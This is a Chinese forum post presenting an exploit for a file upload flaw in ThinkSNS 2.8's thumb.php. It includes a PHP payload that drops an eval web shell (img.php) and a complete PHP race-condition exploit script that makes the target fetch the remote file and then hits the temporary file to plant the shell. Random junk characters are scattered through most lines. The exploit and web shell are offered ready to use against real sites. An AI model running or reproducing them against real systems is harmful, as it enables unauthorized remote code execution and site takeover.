找回密码
 立即注册
查看: 2584|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本: r$ l7 r) ~, E- W& X
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过), M5 N2 y* L" E7 y' {
漏洞文件
& W4 D  O+ X) U存在漏洞的文件为:thumb.php4 R/ T* W8 S! E/ ~; i
作者:韦鲲鹏
$ l) i: S1 [' `0 i* a1、        准备如下PHP文件并上传到服务器(自己的)。
5 l, j: H. K* C$ m, z文件内容如下:
; M6 A& F, g: r6 Z, w9 V<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>( k0 A- W) D4 c
2、        计算出临时的文件名:
) m, o% V3 ~# Z- s! p' I; S这里我们可以看文件的99行(刚刚是不是没注意呀!)。
! [2 c5 H& C4 H
/ G4 c& O8 C! c7 d( h- c3、        上传临时文件。. D" h, y& V; L" E
4、        访问临时文件。
6 U% V, u; }% D5 R8 s5 I, x但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
, {" z  a5 }( F* @. R1 wExploit文件内容如下:(这个我就不详细解释了)4 c4 [& G. x; s0 N5 |5 m- Q5 X% Y
<?php
9 T1 U3 V3 ?# E8 d! S- y+ Perror_reporting(0);
% X6 \4 m7 L- F) @- L, [! V: ~, q0 ?' Aset_time_limit(0);/ A# R1 g1 l5 N; O; e. u1 w( o4 h
ini_set(“default_socket_timeout”, 5);
0 L! y) b/ R5 w# u& T: E0 ?$ Sfunction http_send($host, $port, $headers) {( G, T3 o+ x  o
$fp = fsockopen($host, $port);
; K3 f7 A" A( Fif (!$fp) die(‘Connection -> fail’);
! M$ k0 B/ J) _0 O" [, j# S' ufputs($fp, $headers);. p8 |' o$ W; W
return $fp;: J" E3 K6 n  B% a* K: P& M
}& o$ X3 y& m4 w  `  z: `3 h& F/ p
function http_recv($fp) {
2 R: c( F( X! \  }; U$ret=”";2 X: O  ]9 H7 c3 i8 k
while (!feof($fp))
6 z# `, B) h% V$ret.= fgets($fp, 1024);
7 P' @! o  V0 S9 I  Kfclose($fp);
! }  C& r  ^* r+ p- F5 n+ Hreturn $ret;* h" f% O* g3 t) A5 A) F2 H
}
! C) n$ X8 e2 [/ L# Fprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
& T, Z# s# u1 N' M, e1 c$ H$ ]" O" Rprint “# Discovered by 韦鲲鹏 #\n\n”;
& Q- V% P8 l9 yif ($argc < 4) {# [) A! z: V6 M
print “Usage:   php <host> <path> <romote_url>\n”;
3 S( b7 h) \9 X% g+ k8 ?! Fprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
7 x. |- P; q" udie();
+ c- [& [: B! H2 ~5 }8 u" v}
* m" |+ a4 }5 y$host = $argv[1];
2 }# }2 w: m4 `3 n$path = $argv[2];
+ o$ ]. `0 Y- o' j$url = $argv[3];
% J* D/ E  W/ k$i=0;7 v5 L, s% Q* H0 c. a! |% |0 g8 x- A
//上传数据包
: j' d9 R3 b2 G+ Z- ?5 M8 X$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;3 e4 R" n5 A) k% m' O
$headers_up .= “Host: “.$host.”\r\n”;$ O" Y% b' b. v
$headers_up .= “Connection: close\r\n\r\n”;$ U% l$ S( d) K8 u/ j; n4 d
echo $headers_up;
& I6 T: G; b! {/ I  B+ O//临时文件访问数据包* c. ?3 m+ F/ `( @
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;. l- f4 _2 r; W5 W
$headers .= “Host: “.$host.”\r\n”;1 C+ J" G. }* e  p. j8 E8 R, Z
$headers .= “Connection: close\r\n\r\n”;
4 G, X7 X% F2 l% R0 Secho $headers;( |: E; m" q" q$ s. o4 L9 z" @3 _
while(++$i<10) {
0 }4 q1 x! g% ]# jfclose(http_send($host, 80, $headers));) e; f9 M; ]4 {, L
}9 e& x& v1 o$ f
fclose(http_send($host, 80, $headers_up));9 r$ g9 s0 W9 x6 f* E  e
while(++$i<50) {, g$ S, D% ]1 T+ P6 Q/ D  t! a  I
fclose(http_send($host, 80, $headers));9 R7 r; {: V1 G. N( u0 A
}
0 U  c) _3 [, Y5 f$ @$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
; v* g9 ?4 E1 x" q$ ?3 u$headers .= “Host: “.$host.”\r\n”;
* |0 D% v6 U2 x$headers .= “Connection: close\r\n\r\n”;8 F3 d' w& f! U3 z4 G/ p. j
$res=http_recv(http_send($host, 80, $headers));
7 E0 M* W5 Y8 v' M4 y% ?if(preg_match(‘/200 OK/’,$res)) {
) j5 b- C# R% g/ c* c8 [print “Success!\n\n”;
4 V; x. J3 {  X1 H, A} else {
7 X$ w$ ?3 ~5 X' b" m  I0 G' }print “Fail!\n\n”;# G; X* A. c, _8 U' I2 @
}
0 _* W) Z2 h" `2 m1 I" \, ~; Z?>( ^4 F1 I0 ~& m3 Q! V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表